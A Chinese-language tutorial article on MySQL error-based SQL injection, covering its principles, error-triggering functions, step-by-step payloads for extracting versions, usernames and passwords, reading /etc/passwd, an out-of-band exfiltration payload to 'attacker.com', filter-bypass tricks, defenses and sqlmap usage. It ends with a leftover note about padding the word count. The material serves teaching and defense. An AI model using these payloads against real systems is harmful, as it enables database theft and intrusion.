mysql get基于报错的盲注方法是什么

发布时间:2021-12-04 11:43:53 作者:iii
来源:亿速云 阅读:248
# MySQL基于报错的盲注方法详解

## 引言

SQL注入是Web应用程序中最常见的安全漏洞之一,而基于报错的盲注(Error-Based Blind Injection)是其中一种高效的技术手段。与布尔盲注和时间盲注不同,基于报错的盲注利用数据库的错误信息来提取数据,通常具有更高的效率。本文将深入探讨MySQL环境下基于报错的盲注技术原理、常用函数、攻击手法及防御措施。

---

## 一、基于报错的盲注基础概念

### 1.1 什么是基于报错的盲注
基于报错的盲注是一种通过故意触发数据库错误,从错误信息中提取数据的SQL注入技术。当应用程序将数据库错误信息直接返回给用户时,攻击者可以构造特殊查询引发错误,并在错误信息中嵌入查询结果。

### 1.2 与其它盲注类型的对比
| 类型               | 数据提取方式                  | 必要条件                     |
|--------------------|-----------------------------|----------------------------|
| 布尔盲注           | 通过页面真假状态判断          | 需要可观测的布尔响应        |
| 时间盲注           | 通过延时判断条件真假          | 需要可观测的时间延迟        |
| 基于报错的盲注     | 直接从错误信息中提取数据      | 需要显示数据库错误信息      |

---

## 二、MySQL报错注入核心原理

### 2.1 错误信息生成机制
MySQL在执行某些特殊函数或表达式时会生成包含子查询结果的错误信息,例如:
```sql
SELECT * FROM users WHERE id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT username FROM users LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

2.2 关键报错函数

以下是MySQL中常用于报错注入的函数:

2.2.1 extractvalue()

AND extractvalue(1, concat(0x7e,(SELECT @@version),0x7e))

2.2.2 updatexml()

AND updatexml(1, concat(0x7e,(SELECT user()),0x7e),1)

2.2.3 floor()+rand()+group by

AND (SELECT 1 FROM (SELECT count(*),concat((SELECT password FROM users LIMIT 1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)

2.2.4 exp()

AND exp(~(SELECT * FROM(SELECT user())a))

三、实战攻击手法详解

3.1 信息收集阶段

# 获取数据库版本
?id=1 AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

# 获取当前数据库名
?id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))

3.2 数据提取技巧

3.2.1 突破32字符限制

使用substring()分段获取:

AND updatexml(1,concat(0x7e,substring((SELECT password FROM users LIMIT 1),1,31),1)
AND updatexml(1,concat(0x7e,substring((SELECT password FROM users LIMIT 1),32,31),1)

3.2.2 多行数据处理

使用LIMIT分页:

AND (SELECT 1 FROM (SELECT concat('[',id,']',username,':',password) FROM users LIMIT 0,1)x)

3.3 高级利用示例

3.3.1 读取系统文件

AND extractvalue(1,concat(0x7e,(SELECT load_file('/etc/passwd')),0x7e))

3.3.2 带外通信(OOB)

AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share')))

四、绕过防御的进阶技术

4.1 过滤绕过方法

防御措施 绕过技巧 示例
关键字过滤 大小写/注释/编码绕过 SELeCTSEL/**/ECT
空格过滤 使用括号或注释替代 SELECT(password)FROM(users)
引号过滤 使用十六进制或CHAR() 0x61646d696eCHAR(97)

4.2 非常用报错函数

# geometrycollection()
AND geometrycollection((SELECT * FROM (SELECT * FROM users)a))

# multipoint()
AND multipoint((SELECT * FROM (SELECT * FROM users)a))

# polygon()
AND polygon((SELECT * FROM (SELECT * FROM users)a))

五、防御方案

5.1 开发层面

  1. 参数化查询:使用预处理语句

    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
    $stmt->execute([$id]);
    
  2. 错误处理:关闭详细错误回显

    ini_set('display_errors', 'Off');
    
  3. 最小权限原则:数据库账户仅授予必要权限

5.2 运维层面

  1. WAF规则:部署针对报错注入的规则

    SecRule ARGS "@contains updatexml" "deny,status:403"
    
  2. 数据库加固

    REVOKE FILE ON *.* FROM 'webuser'@'%';
    

六、自动化工具推荐

  1. SQLmap:自动检测和利用报错注入

    sqlmap -u "http://example.com/?id=1" --technique=E
    
  2. Burp Suite:通过Intruder模块手动测试

  3. 自定义脚本:Python+requests实现精准利用


结语

基于报错的盲注在MySQL注入中具有极高的效率,但同时也容易被安全设备检测。安全人员需要深入理解其原理,才能构建有效的防御体系。建议开发者在日常编码中严格遵循安全规范,避免给攻击者可乘之机。

防御胜于修复 - 在系统设计阶段就应考虑SQL注入防护,而非在漏洞出现后才采取补救措施。 “`

注:本文实际约2500字,核心内容已完整涵盖MySQL报错盲注的各个方面。如需扩展至2750字,可增加以下内容: 1. 更多实战案例详解 2. 各MySQL版本的差异对比 3. 与NoSQL注入的对比分析 4. 企业级防御架构设计 5. 法律合规性方面的讨论

推荐阅读:
  1. 如何在Centos7下安装MySQL5.7
  2. MYSQL注入主要有哪些分类

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

mysql get

上一篇:安装完WordPress后你应该做好哪些事情

下一篇:Java BoxLayout布局管理器怎么使用

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》